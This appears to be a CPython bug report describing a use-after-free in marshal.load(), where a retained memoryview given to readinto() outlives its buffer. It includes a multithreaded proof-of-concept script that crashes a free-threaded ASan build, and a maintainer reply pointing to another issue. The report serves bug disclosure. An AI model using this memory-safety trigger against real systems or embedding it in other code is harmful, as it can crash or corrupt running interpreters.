marshal.load() exposes a memoryview over storage that it later frees

[Nievesjyl]

Description

For file-like inputs, marshal.load() passes a memoryview over its private RFILE.buf allocation to the user-defined readinto() method. The buffer has no owning exporter, so a retained view remains usable after marshal reallocates or frees that storage.

Observed Behavior

On a free-threaded ASan build, inspector threads reading views retained by readinto() crash after about 0.51 seconds in unpack_single() at Objects/memoryobject.c:1839. The same executable completes normally with the compatibility GIL enabled.

Affected Version

CPython 3.14.7 at commit 823f0323ee6ec1402088b73bce1a38473cac36dc, built with ASan and free-threading support.

Reproduction

Run:

ASAN_OPTIONS=detect_leaks=0:halt_on_error=1 PYTHON_GIL=0 python3.14 poc/reproduce.py 10

For comparison, run the same command with PYTHON_GIL=1.

PoC Source Code

poc/reproduce.py:

import marshal
import sys
import threading
import time


duration = float(sys.argv[1]) if len(sys.argv) > 1 else 10.0
payload = marshal.dumps([bytes([i % 251]) * (4096 + i * 257) for i in range(32)])
retained = []
stop = threading.Event()


class Reader:
    def __init__(self):
        self.pos = 0

    def read(self, size):
        if size != 0:
            raise AssertionError(size)
        return b""

    def readinto(self, view):
        retained.append(view)
        chunk = payload[self.pos:self.pos + len(view)]
        view[:len(chunk)] = chunk
        self.pos += len(chunk)
        return len(chunk)


def load():
    while not stop.is_set():
        try:
            marshal.load(Reader())
        except (EOFError, ValueError, TypeError):
            pass


def inspect():
    while not stop.is_set():
        for view in list(retained[-128:]):
            try:
                if len(view):
                    view[0]
                    view[-1]
            except (ValueError, IndexError):
                pass
        if len(retained) > 4096:
            del retained[:2048]


threads = [threading.Thread(target=load) for _ in range(2)]
threads.extend(threading.Thread(target=inspect) for _ in range(2))
for thread in threads:
    thread.start()
time.sleep(duration)
stop.set()
for thread in threads:
    thread.join()
print("completed")

[ZeroIntensity]

Refer to #157124 (comment)